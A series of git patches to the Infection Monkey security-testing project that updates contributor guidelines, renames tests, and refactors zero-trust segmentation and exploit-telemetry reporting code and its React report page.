format --- CONTRIBUTING.md | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2744fac11..3e509077c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,11 +2,13 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). +Are you about to report a bug? Sorry to hear it. Here's our +[Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. -If you want to contribute new code or fix bugs.. +If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the +maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). ## Submitting code @@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. -Also, please submit PRs to the develop branch. +Also, please submit PRs to the `develop` branch. + +#### Unit tests +**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same +filename, followed by the _test prefix. So for example: `somefile.py` will be tested by `somefile_test.py`. + +Please try to read some of the existing unit testing code, so you can see some examples. + +#### Branch naming scheme +**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, +`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. From 39437c59139d8db12c5452bd0de244d29d94937f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 14:13:24 +0300 Subject: [PATCH 12/30] Rename existing test files in accordance to new naming scheme --- ...r_instance_data_from_aws_response.py => aws_service_test.py} | 2 +- .../{test_victim_host_telem.py => victim_host_telem_test.py} | 0 .../monkey_island/cc/models/{test_monkey.py => monkey_test.py} | 0 .../services/{test_PTHReportService.py => pth_report_test.py} | 0 4 files changed, 1 insertion(+), 1 deletion(-) rename monkey/common/cloud/{test_filter_instance_data_from_aws_response.py => aws_service_test.py} (97%) rename monkey/infection_monkey/telemetry/attack/{test_victim_host_telem.py => victim_host_telem_test.py} (100%) rename monkey/monkey_island/cc/models/{test_monkey.py => monkey_test.py} (100%) rename monkey/monkey_island/cc/services/{test_PTHReportService.py => pth_report_test.py} (100%) diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py similarity index 97% rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py rename to monkey/common/cloud/aws_service_test.py index 8aec518d3..699e2c489 100644 --- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py +++ b/monkey/common/cloud/aws_service_test.py @@ -7,7 +7,7 @@ import json __author__ = 'shay.nehmad' -class TestFilter_instance_data_from_aws_response(TestCase): +class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py similarity index 100% rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py similarity index 100% rename from monkey/monkey_island/cc/models/test_monkey.py rename to monkey/monkey_island/cc/models/monkey_test.py diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/pth_report_test.py similarity index 100% rename from monkey/monkey_island/cc/services/test_PTHReportService.py rename to monkey/monkey_island/cc/services/pth_report_test.py From 7f543d675d07059a333d675878e510eaf95424ad Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 15:04:23 +0300 Subject: [PATCH 13/30] Fixed typo --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3e509077c..035eb0124 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -26,7 +26,7 @@ Also, please submit PRs to the `develop` branch. #### Unit tests **Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same -filename, followed by the _test prefix. So for example: `somefile.py` will be tested by `somefile_test.py`. +filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`. Please try to read some of the existing unit testing code, so you can see some examples. From faf6da15bb55f7417635dd37cb2a65276e74680c Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 10:20:52 +0300 Subject: [PATCH 14/30] Improved doc, refactored names and added test case for segmentation_utils CR --- monkey/common/network/segmentation_utils.py | 9 +++++++-- .../common/network/segmentation_utils_test.py | 17 ++++++++++++++--- 2 files changed, 21 insertions(+), 5 deletions(-) diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index 6569d636b..aeff7f135 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -11,8 +11,13 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): return get_ip_if_in_subnet(ip_addresses, source_subnet) -def get_ip_if_in_subnet(ip_addresses, source_subnet): +def get_ip_if_in_subnet(ip_addresses, subnet): + """ + :param ip_addresses: IP address list. + :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange + :return: The first IP in ip_addresses which is in the subnet. + """ for ip_address in ip_addresses: - if source_subnet.is_in_range(ip_address): + if subnet.is_in_range(ip_address): return ip_address return None diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py index 7ef3e4450..56a560922 100644 --- a/monkey/common/network/segmentation_utils_test.py +++ b/monkey/common/network/segmentation_utils_test.py @@ -8,12 +8,23 @@ class TestSegmentationUtils(IslandTestCase): self.fail_if_not_testing_env() source = CidrRange("1.1.1.0/24") target = CidrRange("2.2.2.0/24") - self.assertIsNone(get_ip_in_src_and_not_in_dst( - [text_type("2.2.2.2")], source, target - )) + + # IP not in both self.assertIsNone(get_ip_in_src_and_not_in_dst( [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target )) + + # IP not in source, in target + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("2.2.2.2")], source, target + )) + + # IP in source, not in target self.assertIsNotNone(get_ip_in_src_and_not_in_dst( [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target )) + + # IP in both subnets + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source + )) From 9fc2bf886d7f9c68b1e17eac0c432c8f2eed7efb Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:00:10 +0300 Subject: [PATCH 15/30] Extracted ES_SERVICE to const CR --- monkey/common/data/network_consts.py | 2 ++ monkey/infection_monkey/exploit/elasticgroovy.py | 3 ++- monkey/infection_monkey/network/elasticfinger.py | 2 +- .../cc/services/telemetry/zero_trust_tests/data_endpoints.py | 3 ++- 4 files changed, 7 insertions(+), 3 deletions(-) create mode 100644 monkey/common/data/network_consts.py diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py new file mode 100644 index 000000000..5fc9d6d8a --- /dev/null +++ b/monkey/common/data/network_consts.py @@ -0,0 +1,2 @@ +ES_SERVICE = 'elastic-search-9200' + diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 24a902eea..690b5e348 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,8 @@ import requests from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT -from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE +from infection_monkey.network.elasticfinger import ES_PORT +from common.data.network_consts import ES_SERVICE from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 31ce6e24a..aaac09be2 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,11 +6,11 @@ import requests from requests.exceptions import Timeout, ConnectionError import infection_monkey.config +from common.data.network_consts import ES_SERVICE from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger ES_PORT = 9200 -ES_SERVICE = 'elastic-search-9200' ES_HTTP_TIMEOUT = 5 LOG = logging.getLogger(__name__) __author__ = 'danielg' diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 65d044b19..a11f7694a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -1,5 +1,6 @@ import json +from common.data.network_consts import ES_SERVICE from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event @@ -42,7 +43,7 @@ def test_open_data_endpoints(telemetry_json): ), event_type=EVENT_TYPE_ISLAND )) - if service_name in 'elastic-search-9200': + if service_name == ES_SERVICE: found_elastic_search_server = STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", From 107ac73366670f3f5c74c2ccca8c2ae56e8ca53d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:00:57 +0300 Subject: [PATCH 16/30] Improved documentation of create_ir_add_to_existing_finding --- .../cc/models/zero_trust/segmentation_finding.py | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py index 716548453..32a450f57 100644 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -15,15 +15,9 @@ class SegmentationFinding(Finding): @staticmethod def create_or_add_to_existing_finding(subnets, status, segmentation_event): """ - If you're trying to add a Failed finding: - If the finding doesn't exist at all: create failed - else: - if pass, turn to fail - add event - - If you're trying to add a Passed finding: - If the finding doesn't exist at all: create Passed - else: add event + Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the + event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will + remain so). :param subnets: the 2 subnets of this finding. :param status: STATUS_PASSED or STATUS_FAILED From 2d7829ca4b90e4607700eba3c3001b401434df50 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:05:57 +0300 Subject: [PATCH 17/30] Split test_machine_exploited into 2 functions --- .../zero_trust_tests/machine_exploited.py | 27 +++++++++++-------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index d4f8c53c1..7da763dd8 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -6,39 +6,44 @@ from monkey_island.cc.models.zero_trust.finding import Finding def test_machine_exploited(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + exploiter = telemetry_json['data']['exploiter'] + timestamp = telemetry_json['timestamp'] + exploit_successful = telemetry_json['data']['result'] + + create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp) + + +def create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( title="Exploit attempt", message="Monkey on {} attempted to exploit {} using {}.".format( current_monkey.hostname, - telemetry_json['data']['machine']['ip_addr'], - telemetry_json['data']['exploiter']), + target_ip, + exploiter), event_type=EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json['timestamp'] + timestamp=timestamp ) ] - status = STATUS_PASSED - - if telemetry_json['data']['result']: + if exploit_successful: events.append( Event.create_event( title="Exploit success!", message="Monkey on {} successfully exploited {} using {}.".format( current_monkey.hostname, - telemetry_json['data']['machine']['ip_addr'], - telemetry_json['data']['exploiter']), + target_ip, + exploiter), event_type=EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json['timestamp']) + timestamp=timestamp) ) status = STATUS_FAILED - Finding.save_finding( test=TEST_MACHINE_EXPLOITED, status=status, events=events ) - Finding.save_finding( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, From 2269e788883b1d428dda4dbe31e1af2e198145d4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:37:26 +0300 Subject: [PATCH 18/30] Added docs for is_segmentation_violation --- .../services/telemetry/zero_trust_tests/segmentation.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 763c46b2f..1742bbea7 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -16,6 +16,15 @@ SEGMENTATION_VIOLATION_EVENT_TEXT = \ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + # type: (Monkey, str, str, str) -> bool + """ + Checks is a specific communication is a segmentation violation. + :param current_monkey: The source monkey which originated the communication. + :param target_ip: The target with which the current monkey communicated with. + :param source_subnet: The segment the monkey belongs to. + :param target_subnet: Another segment which the monkey isn't supposed to communicate with. + :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False. + """ if source_subnet == target_subnet: return False source_subnet_range = NetworkRange.get_range_obj(source_subnet) From fec0791c7bc3f285465f6f1ced6ede3311cf5449 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:40:22 +0300 Subject: [PATCH 19/30] Moved JSON parsing to exploit.py --- .../cc/services/telemetry/processing/exploit.py | 11 +++++++++-- .../telemetry/zero_trust_tests/machine_exploited.py | 13 +------------ 2 files changed, 10 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 7464722f9..cf6e9b544 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -4,6 +4,7 @@ import dateutil from monkey_island.cc.database import mongo from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry @@ -11,11 +12,17 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited impo def process_exploit_telemetry(telemetry_json): - edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) encrypt_exploit_creds(telemetry_json) + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_edge_info_with_new_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) - test_machine_exploited(telemetry_json) + + test_machine_exploited( + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), + exploit_successful=telemetry_json['data']['result'], + exploiter=telemetry_json['data']['exploiter'], + target_ip=telemetry_json['data']['machine']['ip_addr'], + timestamp=telemetry_json['timestamp']) def update_node_credentials_from_successful_attempts(edge, telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 7da763dd8..dba16470f 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,20 +1,9 @@ from common.data.zero_trust_consts import * -from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding -def test_machine_exploited(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - target_ip = telemetry_json['data']['machine']['ip_addr'] - exploiter = telemetry_json['data']['exploiter'] - timestamp = telemetry_json['timestamp'] - exploit_successful = telemetry_json['data']['result'] - - create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp) - - -def create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp): +def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( title="Exploit attempt", From a330dc1bb7f389b76664aa0ab8e2aac76769bd23 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:46:42 +0300 Subject: [PATCH 20/30] Extracted json parsing to scan.py --- .../monkey_island/cc/services/telemetry/processing/scan.py | 6 +++++- .../cc/services/telemetry/zero_trust_tests/segmentation.py | 4 +--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 8ae386388..bea451170 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,6 +1,7 @@ import copy from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation @@ -9,7 +10,10 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import te def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) test_open_data_endpoints(telemetry_json) - test_segmentation_violation(telemetry_json) + + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + test_segmentation_violation(current_monkey, target_ip) def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 1742bbea7..a30884ef5 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -39,11 +39,9 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s return cross_segment_ip is not None -def test_segmentation_violation(scan_telemetry_json): +def test_segmentation_violation(current_monkey, target_ip): # TODO - lower code duplication between this and report.py. # TODO - single machine - current_monkey = Monkey.get_single_monkey_by_guid(scan_telemetry_json['monkey_guid']) - target_ip = scan_telemetry_json['data']['machine']['ip_addr'] subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: subnet_pairs = itertools.product(subnet_group, subnet_group) From 54873957979e4fce55416bf8beedaf52394fa187 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 12:32:00 +0300 Subject: [PATCH 21/30] Moved JSON parsing to state.py --- .../monkey_island/cc/services/telemetry/processing/state.py | 4 +++- .../cc/services/telemetry/zero_trust_tests/segmentation.py | 4 +--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index f6461dd3f..4e164e900 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -1,3 +1,4 @@ +from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ test_passed_findings_for_unreached_segments @@ -12,4 +13,5 @@ def process_state_telemetry(telemetry_json): NodeService.set_monkey_dead(monkey, False) if telemetry_json['data']['done']: - test_passed_findings_for_unreached_segments(telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + test_passed_findings_for_unreached_segments(current_monkey) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index a30884ef5..a10b89262 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -41,7 +41,6 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s def test_segmentation_violation(current_monkey, target_ip): # TODO - lower code duplication between this and report.py. - # TODO - single machine subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: subnet_pairs = itertools.product(subnet_group, subnet_group) @@ -71,9 +70,8 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t ) -def test_passed_findings_for_unreached_segments(state_telemetry_json): +def test_passed_findings_for_unreached_segments(current_monkey): flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] - current_monkey = Monkey.get_single_monkey_by_guid(state_telemetry_json['monkey_guid']) create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) From 02cd1ad684690a1455f0c6e33a7761c735c95fbc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:43:39 +0300 Subject: [PATCH 22/30] Extracted event text and creation to function --- .../zero_trust_tests/segmentation.py | 58 ++++++++++--------- 1 file changed, 32 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index a10b89262..552192c23 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -10,11 +10,31 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ + "from `{src_seg}` segments to `{dst_seg}` segments." + SEGMENTATION_VIOLATION_EVENT_TEXT = \ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ "managed to communicate cross segment to {target_ip} (in segment {target_seg})." +def test_segmentation_violation(current_monkey, target_ip): + # TODO - lower code duplication between this and report.py. + subnet_groups = get_config_network_segments_as_subnet_groups() + for subnet_group in subnet_groups: + subnet_pairs = itertools.product(subnet_group, subnet_group) + for subnet_pair in subnet_pairs: + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[source_subnet, target_subnet], + status=STATUS_FAILED, + segmentation_event=event + ) + + def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): # type: (Monkey, str, str, str) -> bool """ @@ -39,23 +59,6 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s return cross_segment_ip is not None -def test_segmentation_violation(current_monkey, target_ip): - # TODO - lower code duplication between this and report.py. - subnet_groups = get_config_network_segments_as_subnet_groups() - for subnet_group in subnet_groups: - subnet_pairs = itertools.product(subnet_group, subnet_group) - for subnet_pair in subnet_pairs: - source_subnet = subnet_pair[0] - target_subnet = subnet_pair[1] - if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): - event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) - SegmentationFinding.create_or_add_to_existing_finding( - subnets=[source_subnet, target_subnet], - status=STATUS_FAILED, - segmentation_event=event - ) - - def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): return Event.create_event( title="Segmentation event", @@ -93,13 +96,16 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): SegmentationFinding.create_or_add_to_existing_finding( subnets=list(subnet_pair), status=STATUS_PASSED, - segmentation_event=Event.create_event( - "Segmentation test done", - message="Monkey on {hostname} is done attempting cross-segment communications from `{src_seg}` " - "segments to `{dst_seg}` segments.".format( - hostname=current_monkey.hostname, - src_seg=subnet_pair[0], - dst_seg=subnet_pair[1]), - event_type=EVENT_TYPE_ISLAND - ) + segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) ) + + +def get_segmentation_done_event(current_monkey, subnet_pair): + return Event.create_event( + title="Segmentation test done", + message=SEGMENTATION_DONE_EVENT_TEXT.format( + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=EVENT_TYPE_ISLAND + ) From 8f8f2738599942d0f6f2f7ace7249ad26163502f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:43:54 +0300 Subject: [PATCH 23/30] Seperated main sections to components --- .../components/pages/ZeroTrustReportPage.js | 90 +++---------------- .../zerotrust/FindingsSection.js | 10 ++- .../zerotrust/RecommendationsSection.js | 30 +++++++ .../zerotrust/SummarySection.js | 52 +++++++++++ 4 files changed, 102 insertions(+), 80 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index cec603f0e..c0d1f1bed 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,16 +1,14 @@ import React, {Fragment} from 'react'; -import {Col, Grid, Row} from 'react-bootstrap'; +import {Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import PillarsOverview from "../report-components/zerotrust/PillarOverview"; -import FindingsSection from "../report-components/zerotrust/FindingsSection"; -import SinglePillarRecommendationsStatus from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; -import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; -import ZeroTrustReportLegend from "../report-components/zerotrust/ReportLegend"; +import SummarySection from "../report-components/zerotrust/SummarySection"; +import FindingsSection from "../report-components/zerotrust/FindingsSection"; +import RecommendationsSection from "../report-components/zerotrust/RecommendationsSection"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -25,7 +23,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { componentDidMount() { this.updatePageState(); - const refreshInterval = setInterval(this.updatePageState, 8000) + const refreshInterval = setInterval(this.updatePageState, 8000); this.setState( {refreshDataIntervalHandler: refreshInterval} ) @@ -73,9 +71,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { content = ; } else { content =
    - {this.generateOverviewSection()} - {this.generateRecommendationsSection()} - {this.generateFindingsSection()} + + +
    ; } @@ -100,75 +99,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { ) } - generateOverviewSection() { - return (
    -

    Summary

    - - - - -

    - Get a quick glance of the status for each of Zero Trust's seven pillars. -

    - -
    - - - - - - - - - - -

    What am I seeing?

    -

    - The Zero Trust eXtended framework categorizes its recommendations into 7 pillars. Infection Monkey - Zero Trust edition tests some of those recommendations. The tests that the monkey executes - produce findings. The tests, recommendations and pillars are then granted a status in accordance - with the tests results. -

    - -
    -
    -
    ); - } - - generateRecommendationsSection() { - return (
    -

    Recommendations

    -

    - Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results - to understand how the monkey tested your adherence to that recommendation. -

    - { - Object.keys(this.state.recommendations).map((pillar) => - - ) - } -
    ); - } - - generateFindingsSection() { - return (
    -

    Findings

    -

    - Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things - happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper - insight as to what exactly happened during this test. -

    - -
